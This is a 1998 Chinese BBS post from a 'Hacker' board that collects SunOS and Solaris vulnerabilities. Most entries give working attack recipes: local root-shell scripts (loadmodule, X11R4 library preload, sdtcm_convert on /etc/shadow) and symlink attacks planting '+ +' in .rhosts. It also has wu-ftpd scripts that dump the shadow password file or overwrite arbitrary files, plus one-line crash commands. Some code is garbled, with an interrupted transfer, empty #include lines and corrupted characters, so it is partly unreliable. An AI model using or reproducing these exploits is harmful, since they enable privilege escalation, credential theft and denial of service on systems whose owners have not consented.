荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Lg (北斗七星), 信区: Hacker
标  题: 网络常见漏洞集锦
发信站: BBS 荔园晨风站 (Mon Sep 21 16:49:41 1998), 站内信件

From:
         pierre
 Subject:
         网络常见漏洞集锦
                                   (Reply)
   Date:
         Thu Sep 17 23:45:30 1998


                                    Solaris 2.5.1
               一个简单的命令可以使机器当掉,只能重新启动。perl -e
               'print "\e[1J"'。
                                        ICEBP
                                  Solaris_X86_2.5.
               这是一个比较小的错误,已经在Solaris-x86-2.5.上测试过,当
               一个程序加载未公开命令ICEBP的时候,系统kernel将产生
               “意外中断1”(Unexpected INT 1)的警告, 程序将继续运
               行。在默认的系统配置下,控制台将被当掉。
               以下是演示 (请放到一个 .s 的文件中):
               .globl main
               main:
               .byte 0xf1
               jmp main
                   lmstat (license manager)权限管理器
                                     Solaris 2.4
               要求(license manager)权限管理器必须正在运行,而且在你的进
               程表中必须包含lmgrd.ste 和 suntechd。可以运行lmstat的任
               何用户都可以建立/var/tmp/locksuntechd,其权限字节为666。
               以下是演示:
               rm /var/tmp/locksuntechd
               ln -s /.rhosts /var/tmp/locksuntechd
               lmstat -c
               lmstat可以在你文件系统的任何地方,有时可能第一次不能达到此效果,

               可以运行第二次就可以达到。
                                    loadmodule
                                     SunOs 4.1.x
               取得root权限就是这么简单1:
               #!/bin/csh
               set path = ( . $path )
               cat > ld << EOF
               /bin/sh
               EOF
               chmod a+x ld
               loadmodule sd.o evqload
                                    loadmodule
                                     SunOs 4.1.x
               取得root权限就是这么简单2:
               %cat > ~/bin/bin
               #!/bin/sh
               sh -i
               ^D
               %chmod 755 ~/bin/bin
               %setenv IFS /
               %cd ~/bin
               %/usr/openwin/bin/loadmodule /sys/sun4c/OBJ/evqmod-sun4c.o
               /etc/openwin/modules/evqload
               # whoami
               root
                                      lofs(4S)
                      SunOS 4.0.3 (在4.1或高版本中已经修复)
               这个漏洞可以让root删除只读文件,可以造成错误的文件删除
               操作。
                        security logging(注册安全)
                                     Solaris 2.6
               Ruth Milner posted following. Under Solaris 2.x, login failure
               information is not all logged in one place. The tty and remote
               source host, if any, are written to /var/adm/messages, while
               the
               account name that was attempted, along with the tty but *not*
               the
               source host, is logged in /var/adm/loginlog *if it exists*.
               /var/adm/loginlog is not created by default when the OS is
               installed; it has to be touched and should be mode 600.
               Solaris
               2.6 does not write anything in /var/adm/loginlog even if it
               does
               exist.(没什么用,就是有的东东不会被记录)
                                      mailtool
                                      SunOS 5.5
               SunOS 5.5的mailtool比较有趣,如果你运行如下命令:
               ln -s /var/mail/luser ~/.forward
               然后设置vacation有效,那么/var/mail/luser就会被拷贝到
               ~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink
               被移到~/.forward..BACKUP中.
                                        mailx
                                      Solaris ?
               # Send mail to the user
               NEW_TARGET_LEN=$OLD_TARGET_LEN
               while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
               echo "Sending mail to $TARGET"

               echo "localhost $USER" | /bin/mail $TARGET
               echo "localhost $USER" | nice /bin/mail $TARGET

               sleep 10
               kill -STOP $RACE_PID
               rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1
               if [ -f $SPOOLDIR/$TARGET ]; then
               echo "$PROG: Sorry, we lost the race - cant try again."
               kill -9 $RACE_PID
               Maybe USER="whoami" needed.
                                         man
                                     Linux/SunOS
               当用户运行man的时候,一个临时文件包含被解包的manpage
               (un-zipped
               manpage)就会在/tmp目录中建立. 临时文件的文件名一般是
               "zmanaaa",例如: "zman10849aaa". 这个漏洞可以被用来进
               行一个简单的symlink攻击,例如:
               perl -e 'for($i=8000;$i<12000;$i++){`ln -s /root/.rhosts
               /tmp/zman${i}aaa`;}'
               接着就要等root加载man了。
                                    mountd(8C)
                     SunOS 4.1.1, 4.1.2, 4.1.3, and 4.1.3c.
                           SunOS 4.1.3.u.1 不存在此漏洞
               If an access list of hosts within /etc/exports is a string
               over
               256 characters or the if the cached list of netgroups exceeds
               the
               cache capacity then the filesystem can be mounted by everyone.
               Unauthorized remote hosts will be able to mount the
               filesystem.
               (懒的翻了)
                                      nfsd(8)
                                      SunOS 4.0
               在 SunOS 4.0 下你可以通过任何一个开放的驱动设备修改major
               和minor的号码。从而超越NSF的管理。就可以随便瞎串了,以
               下是演示:
               % ls -lg /dev/null /dev/console
               crwxrwxrwx 1 root staff 3, 2 Sep 17 02:07 /dev/null
               crw--w---- 1 root wheel 0, 0 Sep 16 20:07 /dev/console
               % trunc /dev/null 0
               % ls -lg /dev/null /dev/console
               crwxrwxrwx 1 root staff 0, 0 Sep 17 02:07 /dev/null
               crw--w---- 1 root wheel 0, 0 Sep 16 20:07 /dev/console
                                     nistbladm
                                    Solaris 2.5.x
               尝试过用"nistbladm"命令修改你的 NIS+ 密码吗?可以修改
               的,同时也可以修改你的 UID ....。
               $ nistbladm -e uid=0 '[name=alice]',passwd.org_dir
               $ niscat passwd.org_dir | grep alice
               alice:xedvtAgfruijg:0:1001:........
                                        NIS+
                            SunOS 5.4, 5.4_x86 and 5.3
               NIS+ is a network-wide name service that runs under Solaris.
               It
               can be selected as the name service in /etc/nsswitch.conf. If
               NIS+ is selected, programs with setuid root permissions will
               link
               nss_nisplus.so.1 which is susceptible to a buffer overflow
               vulnerability. This vulnerability may allow non-privileged
               users
               to gain root privileges.
               (我想应该不用翻译,solaris就这点好,那就是取得root权限很容易)
                          /usr/lib/nis/nispopulate
                                     Solaris 2.5
               脚本“/usr/lib/nis/nispopulate”可以在/tmp中建立属性为777
               的文件,可以很容易的被用来和其他文件进行连接。
               脚本主要做以下三步:
               1. 建立文件 /tmp/sh[0-4] w/permission 666
               2. 等待用户进入
               3. 建立文件 /tmp/passwd_ w/permission 777
               以下是演示用的脚本:
               ---------------------------- clip
               --------------------------------
               #!/opt/gnu/bin/perl
               # nisplus-exploit.pl
               #
               # to test: 1) start the script 2) as root, run
               /usr/lib/nispopulate
               # Demonstrates weakness in Solaris 2.5
               /usr/lib/nis/nispopulate
               # shell script, by inserting a symlink postfixed with pid
               #
               # - runeb@td.org.uit.no
               $destfile = "/hello.world";
               do {
               opendir(TMP, "/tmp");
               while ($f = readdir(TMP)) {
               if (substr($f, 0, 2) eq "sh") {
               symlink($destfile, "/tmp/passwd_" .
               substr($f,2,length($f)-3));
               $quit=1; last;
               }
               }
               closedir(TMP);
               sleep(1);
               } while $quit == 0;
                          /var permission problems
                                (文件属性问题)
              Solaris 2.3, 2.4, and 2.5 , 2.5.1, 2.6 SPARC and x86
               以下均是默认安装的属性,可以被加以利用:
               Solaris 2.5.1:
               /var/adm/vold.log (mode 666, root:root)
               /var/adm/spellhist (mode 666, bin:bin)
               /var/adm/messages (mode 666, root:other) NOTE: this is the
               first set of permissions on this file.newsyslog fixes this
               during the archive process.
               /var/adm/log/asppp.log (mode 666, root:root)
               /var/news (directory, mode 777, bin:bin)
               /var/log/syslog (mode 666, root:other) On initial install,This
               is 664, but when rolled over,becomes 666. Patch 104613 fixes
               this.
               /var/log/sysidconf.log (mode 777, root:other)
               /var/sadm/install/.pkg.lock (mode 666, root:root)
               /var/spool/lp/fifos/FIFO (mode 666, lp:lp)
               /var/lp/logs/lpsched (mode 666, root:root)
               /var/lp/logs/lpNet (mode 666, root:root)
               /var/preserve (directory, mode 777, bin:bin)
               /var/spool/pkg (directory, mode 777, bin:bin)
               Solaris 2.6:
               /var/adm/vold.log (mode 666, root:root)
               /var/adm/spellhist (mode 666, bin:bin)
               /var/log/sysidconf.log (mode 777, root:other)
               /var/saf/_log (mode 666, root:root)
               /var/dmi/db/1l.comp (mode 666, root:root)
               /var/dmi/db/1l.tbl (mode 666, root:root)
               /var/snmp/snmpdx.st (mode 666, root:root)
               /var/snmp/snmpdx.st.old (mode 666, root:root)
                                        ping
               Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6-beta2, 2.5 (x86)
               简单的ping一下solaris主机,就可以使机器重新启动:
               ping -sv -i 127.0.0.1 224.0.0.1
                                   /usr/bin/ps
                                    Solaris 2.5.1
               以下命令会造成系统总线错误:
               ps -u aaaaa....aaaa(aaa要大于100个字符)
                                       rlogin
           SunOS 5.5.1, 5.5.1_x86, 5.5, 5.5_x86, 5.4, 5.4_x86, 5.3,
                                   4.1.4,4.1.3_U1
               The rlogin program establishes a remote login session. Due to
               insufficient bounds checking on arguments supplied to rlogin,
               it
               is possible to overwrite the internal data space of the rlogin
               program. As rlogin is setuid root, this vulnerability may be
               exploited to gain root access.
                         /usr/dt/bin/sdtcm.convert
                                    Solaris 2.5.1
               又一个简单的取得root权限的介绍:
               $Id: sdtcm_convert,v 1.1 1996/07/14 17:44:54 adam Exp $
               Script started on Thu Jul 11 22:15:03 1996
               22:15 [wumpus:~] % whoami
               adam
               22:15 [wumpus:~] % ls -l /etc/shadow
               -r-------- 1 root sys 291 Jul 11 22:14 /etc/shadow
               22:15 [wumpus:~] % ln -s /etc/shadow /tmp/calorig.adam
               22:15 [wumpus:~] % /usr/dt/bin/sdtcm_convert -d /tmp -v 3 adam
               Loading the calendar ...
               WARNING!! Data will be lost when converting version 4 data
               format back to version 3 data format.
               Do you want to continue? (Y/N) [Y] y
               Doing conversion ...
               Writing out new file ...
               Conversion done successfully.
               Total number of appointments = 0
               Number of one-time appointments converted = 0
               Number of repeating appointments converted = 0
               Number of one-time appointments pruned = 0
               Number of repeating appointments pruned = 0
               The original file is saved in /tmp/calorig.adam
               22:15 [wumpus:~] % ls -l /etc/shadow
               -r--rw---- 1 adam daemon 3114 Jul 11 22:15 /etc/shadow
               22:15 [wumpus:~] % chmod 644 /etc/shadow
               22:15 [wumpus:~] % cp /dev/null /etc/shadow
               cp: overwrite /etc/shadow (y/n)? y
               22:15 [wumpus:~] % ls -l /etc/shadow
               -rw-r--r-- 1 adam daemon 0 Jul 11 22:15 /etc/shadow
               22:15 [wumpus:~] % echo "root::6445::::::" >> /etc/shadow
               22:16 [wumpus:~] % su
               # id
               uid=0(root) gid=1(other)
               # exit
                                   sendmail(8)
                                 SunOS 4.x Sendmail
               通过sendmail取得root权限,因为sendmail可以利用-oM参数
               使用任何的宏命令:
               1. 建立文件sunsendmailcp
               #!/bin/sh
               #
               # sunsendmailcp from to
               if [ $# -ne 2 ]; then
               echo usage: `basename $0` from to
               exit 1
               fi
               rm -f /usr/tmp/dead.letter
               if [ -f /usr/tmp/dead.letter ]; then
               echo sorry, cant continue - /usr/tmp/dead.letter exists
               fi
               if [ ! -r $1 ]; then
               echo $1 doesnt exist or is unreadable
               exit 1
               fi
               ln -s $2 /usr/tmp/dead.letter
               /usr/lib/sendmail -L0 '-oM#anything' $USER < $1
               rm /usr/tmp/dead.letter
               exit 0
               2. 加载这个命令
               % ./sunsendmailcp sourcefile targetfile
               这时你要求的“目标文件”targetfile将会被添加或建立.
                                      sockets
                                     Solaris 2.6
               任何函数建立的 Unix socket 均具有4777权限,如:
               srwxrwxrwx 1 root root 0 Oct 3 21:22 mysql.sock
               以下是简单的演示程序:
               #include
               #include
               #include
               #include
               main(int argc, char *argv[])
               {
               struct sockaddr_un addr;
               int s;
               s = socket(AF_UNIX, SOCK_STREAM, 0);
               bzero(&addr, sizeof(addr));
               addr.sun_family = AF_UNIX;
               strcpy(addr.sun_path, "/tmp/yoursocket");
               if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
               perror("bind");
               exit(1);
               }
               sleep(100);
               exit(0);
               }
                               /usr/bin/solstice
                                     Solaris 2.5
               solaris简直就是个白痴,如下演示:
               (对于系统产生的所有警告或者错误提示均不要理睬)
               /usr/bin/solstice
               click Launcher
               click Add Applications
               fill in any arbitary things for the fields, stick the program
               you want to run as setgid bin (or create a sgid shell) click
               on
               the icon which appears with your app name.
                                        X11R4
                                      SunOS 4.1
               不用介绍了,取得root权限:
               % mkdir /tmp/xyzzy
               % cd /tmp/xyzzy
               % cat > Initialize.c << EOF
               _XtAppInitialize() { setuid(0);
               execl("/bin/sh","sh",0);}
               XtAppSetFallbackResources() {}
               _XtDisplayInitialize() {}
               EOF
               % ar x /usr/lib/libXt.a
               % cc -c -pic Initialize.c
               % ld *.o
               % mkdir lib lib/X
               % mv a.out lib/X/libXt.so.4.1
               % cd lib/X
               % xterm
               # whoami
               root
                                       xnews
                SunOS 4.x running XDM and using xnews X server.
               在具备以上条件的系统中你可以取得root shell,只要按照如下步骤做即
               可:
               /usr/openwin/bin/psh
               /NeWS 3 0 findpackages beginpackage
               executive
               (/usr/local/bin/xterm -display localhost:0) pipe
               This give a root shell with OpenWindows and SunOS 4.x. You
               have to be logged bia XDM.
                                      wu-ftpd
                          Solaris 2.5 (and surely others)
               使用以下脚本,你可以取得系统的shadow或者任意修改系统文
               件:
               最起码你得有一个能进入系统FTP服务器的pass。
               以下脚本可以使你取得系统的shadow。
               #!/bin/sh
               # exploit a bug in wu-ftpd to assemble & view the shadow
               passwd file
               # Tested under Solaris 2.5
               # James Abendschan jwa@nbs.nau.edu 16 Oct 1996
               USER=`whoami`
               /usr/ucb/echo -n "Enter your password for localhost: "
               read PASS
               >


               Transfer interrupted!

               R
               rm -rf $WDIR
               mkdir $WDIR
               TMP=$WDIR/strings.tmp
               ftp -n localhost << _EOF_
               quote user $USER
               quote pass $PASS
               cd $WDIR
               user root woot
               quote pasv
               _EOF_
               if [ ! -f $WDIR/core ]
               then
               echo "Sorry, your ftpd didn't dump core."
               exit 1
               fi
               strings $WDIR/core > $WDIR/tmp
               # try to assemble as much of the shadow passwd file as
               possible
               # (easier in perl)
               for user in `cat /etc/passwd | awk -F":" '{print $1}'`
               do
               line=`grep \^${user}: $WDIR/tmp`
               echo $line
               done
               rm -f $TMP

               以下脚本可以使你任意地修改系统文件:
               #!/bin/sh
               # exploit a bug in wu-ftpd to create a file anywhere on the
               filesystem
               # - files that already exist will be overwritten, but they
               won't
               # be writable.
               # tested under Solaris 2.5
               # James Abendschan jwa@nbs.nau.edu 16 Oct 1996
               if [ $# != 2 ]
               then
               echo "usage: `basename $0` sourcefile dstfile"
               exit 1
               fi
               SRC=$1
               TARGET=$2
               USER=`whoami`
               /usr/ucb/echo -n "Enter your password for localhost: "
               read PASS
               WDIR=/tmp/wu-ftpd-sploit.$USER
               rm -rf $WDIR
               mkdir $WDIR
               ln -s $TARGET $WDIR/core
               ftp -n localhost << _EOF_
               quote user $USER
               quote pass $PASS
               cd $WDIR
               user root woot
               quote pasv
               _EOF_
               if [ ! -f $WDIR/core ]
               then
               echo "Sorry, your ftpd didn't dump core."
               exit 1
               fi
               ls -l $WDIR/core
               cp $SRC $TARGET
               if [ $? != 0 ]
               then
               echo "copy of $SRC to $TARGET failed."
               exit 1
               fi
               echo "Done; $SRC should now be $TARGET."
               exit 0
               备注:以上两个脚本都比较好懂,你也可以手工自己做。有可
               用性。





                                   Solaris 2.5_x86
                          原作者:
               非常简单,系统的/tmp/ lies .asppp.fifo的属性是全局可读写
               的属性,就是(world r/w)的属性。如果你的系统不是这样的
               话,你也可以使用命令ln -s /.rhosts /tmp/.asppp.fifo来实
               现。当root执行asspppd命令的时候,/.rhosts的属性就变的和
               fifo一样是可读写的,如果执行第二个asspppd命令的时候,会
               发生更有趣的事情,那就是/.rhosts变成一个可读写的普通文
               件了。
                                    AdminSuite
                         AdminSuite 2.1 and 2.2 (Solaris)
               AdminSuite 2.1在增加新用户到NIS+密码表中时,会发生超权
               限使用的情况,这使得用户可以改变密码表从而变成超级用
               户,此故障已经在2.2版中得到修正。
               AdminSuite 2.1会错误地改变用来建立NIS(YP)密码映象源
               文件的属性。它可能导致用户任意修改/etc/passwd文件。2.2
               版中已经修正。
               在你更新NIS (YP)数据的时候,AdminSuite 2.1会建立一个极
               不安全的临时文件。这样会导致被利用来覆盖任意属性的文
               件,包括密码文件。2.2版已更新。
               AdminSuite 2.1、2.2版会引起系统加锁文件的不稳定,可以
               被利用来取得root权限。
               AdminSuite 2.1、2.2的数据管理器的菜单选项中的"save"命
               令的选项中,可以使普通用户执行setgid命令的权力。
                                     admintool
                                     Solaris 2.x
               为防止用户非法更改系统的文件结构,admintool使用临时文
               件来保证达到此目的。但是在这三个临时文件的处理上显的并
               不安全,可能被利用来建立或者覆盖系统中任何属性的文件。
               并且可以用来取得非法的uid。
               在Solaris 2.5中,admintool默认设置的用户属性是root。也
               就是说这样的文件只能由具有root级别id的用户才有权利存
               取。这样的话,系统弱点可以被利用来存取系统上的任何文
               件。如果这一弱点被利用来尝试建立一个已经存在的文件的
               话,会导致此文件所在的目录被删除,如果这个文件不存在,
               那么此文件就会被建立,并且文件的属主属性是root,而且具
               有可读写属性(world r/w)。
               在早期的Solaris 2.x版本中, admintool并不设置默认的属性
               为root,在这中情况下,admintool只可以被特权级用户使
               用,然而本地用户可以等待特权用户使用admintool,利用系
               统弱点拥有与特权用户一样的权力建立或者改写文件,同样
               的,所有更改或者建立的文件都具有全局可读写的属性(
               world r/w)。
               当然了,如果本地用户可以任意的改写或者建立文件,那么就
               可以容易的夺取root权力。
                                      arp(8c)
                                     SunOS 4.1.X
               /usr/etc/arp命令可以被用来显示系统的内存的内容。
               如:$ arp -f /dev/kmem | strings > mem
                                   automounter
                                     Solaris 2.x
               automounter-自动连接。
               非特权用户可以利用此漏洞来发送RPC到automounter,用来改
               变文件系统的设置选项。Anonymous给出了如下的程序:

                                 /usr/bin/chkey
                               Solaris 2.x的所有平台
               chkey的参数检测部分不够完善,可能在运行时导致程序内部
               的数据空间产生重叠的情况。由于此程序是属于root所有,所
               以可以利用此漏洞取得root权限。
               几乎所有使用stdio(3S)函数的程序在变量的说明之后都存在
               数组iob[]。极易导致这种情况的产生,一个经典的漏洞就是
               在chkey(1)中,示例如下:
               10:47 [wumpus:~] % stdioflow
               usage: stdioflow [options] buf(name or @address) libaddr
               program args
               options: [-l library] [-f function] [-o offset] [-e env]
               10:47 [wumpus:~] % stdioflow -o 7 program_name 0xef640000 \
               /usr/bin/chkey %s -s woop
               Using library /usr/lib/libc.so at 0xef640000
               Using PLT at 0x8ef70
               Found _exithandle at 0x1be4
               Buffer at 0x24e88
               iob[] at 0x24f90
               Using absolute address 0xef6d0b4d
               Using 264 bytes
               # /usr/ucb/whoami
               root
               以下是stdioflow的源程序:

                            /usr/vmsys/bin/chkperm
                            Solaris 2.4,2.5(?),2.5.1(?)
               Solaris 2.4,2.5(?),2.5.1(?)(?表示可能还存在于其他版
               本的系统中)系统中有个叫FACE(Framed Access Command
               Environment)的软件包,其中有个程序叫chkperm,它的用处
               是通过检测一个文件来确认当前用户是否有权使用FACE界面。
               让我们来看一下过程:
               % mkdir /tmp/foo
               % mkdir /tmp/foo/lib
               % chmod -R 777 /tmp/foo
               % setenv VMSYS /tmp/foo
               % umask 0000
               % ln -s /usr/bin/.rhosts /tmp/foo/lib/.facerc
               % /usr/vmsys/bin/chkperm -l -u foo
               % ls -l /usr/bin/.rhosts
               -rw-rw-rw- 2 bin bin 0 Nov 12 09:41 .rhosts
               % echo "+ +" >> /usr/bin/.rhosts
               % ls -l /usr/bin/.rhosts
               -rw-rw-rw- 2 bin bin 4 Nov 12 09:41 .rhosts
               % rsh -l bin localhost /bin/csh -i
               Warning: no access to tty; thus no job control in this
               shell...
               % id
               uid=2(bin) gid=2(bin)
               你必须在一个具有全局可写属性的目录中或者当前目录处于
               bin的路径中运行chkperm。它在solaris 2.5中运行时会在其
               自身所在的目录下产生一个文件名是随机的文件(gibberish
               characters)-(乱码文件)。在你运行chkperm的时候你必须
               拥有对自己的bin或者组的bin具有写的权限。它也可以这样运
               行,象“chkperm -l”。你可以将环境变量VMSYS设置成任何
               东西。
               你可以将其产生的“乱码文件”和其他的东西进行连接,例如
               和.rhosts连接。
                                        core
                                     Solaris 2.4
               core简称“核心”。
               当操作系统的某个程序由于受到某些干扰而终止时,系统将会
               生成这个进程的“核心映像”文件,文件名叫core。他将存在
               于这个被终止进程的相同目录中。如果一个非某文件主人的用
               户执行了某文件,将不会导致core的生成,这在系统安全中是
               很重要的。但是,如果这一属性没有被设置,那么我们就可以
               在任何地方生成core文件。以下是演示:
               [cosmos:beren] uname -a
               SunOS cosmos 5.4 Generic_101945-32 sun4m sparc
               [cosmos:beren] ls -ald /etc
               $)C
               8 drwxrwxr-x 25 root sys 3584 7 ?y 25 @O 18:46 /etc/
               [cosmos:beren] ls -ald /usr
               2 drwxrwxr-x 30 root sys 1024 7 ?y 5 @O 17:26 /usr/
               [cosmos:beren] ls -ald /usr/sbin
               10 drwxrwxr-x 4 root bin 4608 5 ?y 18 @O 03:38 /usr/sbin/
               [cosmos:beren] ls -ald /usr/sbin
               10 drwxrwxr-x 4 root bin 4608 5 ?y 18 @O 03:38 /usr/sbin/
               **** It's GROUP WRITABLE !! *****找一个可写的目录,这个组是可写
               的****
               [cosmos:beren] find /usr -perm -2000 \( -group sys -o -group
               bin \) -ls
               [cosmos:beren] ls -al /usr/sbin/dmesg
               12 -r-xr-sr-x 1 bin sys 5520 1994 Jul 15 /usr/sbin/dmesg*
               It's sys SGIDed.
               [cosmos:beren] ln -s /etc/SOMETHING core;这一步是将core和其他
               的文件连接起来,随便什么
               [cosmos:beren] stty ^\^\
               [cosmos:beren] pwd
               /tmp
               [cosmos:beren] dmesg
               /* then slightly after u type this command kill it . using
               stty ^\^\
               there comes the following results */
               ^C (Core dumped);强行中断程序,导致系统生成core。
               [comos:beren] ls /etc/SOMETHING;现在我们得到我们要的core了。还
               要再教吗?
               SOMETHING
               使用这种方法,我们可以利用来覆盖系统上的任何文件,如
               /etc/passwd文件。
                                      crash(8)
                                     SunOS 4.1.X
               用户可以使用 the kmem setguid /usr/kvm/crash 程序并且
               通过使用 GID kmem可以交换一个shell (!sh)。
                        buffer overflow-缓冲溢出错误
         Solaris_x86
               以下是Jim Bresler的工作成果,包含了80X86的汇编源程序,
               这个程序将导致缓冲溢出错误,使得系统生成一个core文件。

                                     /dev/tcx0
                                     SunOS 4.1.4
               如果你尝试在SunOS 4.1.4 Sparc 20 或者是 Sparc 5上尝试
               读取/dev/tcx0,就会引起系统恐慌,会把系统管理员给吓坏
               的,实现起来很简单,你可以输入以下命令"cat /dev/tcx0"
               或者打 "ls /dev/tcx0/*",不需要什么特别的系统权力。
                                     /dev/zero


--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: 210.39.0.47]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店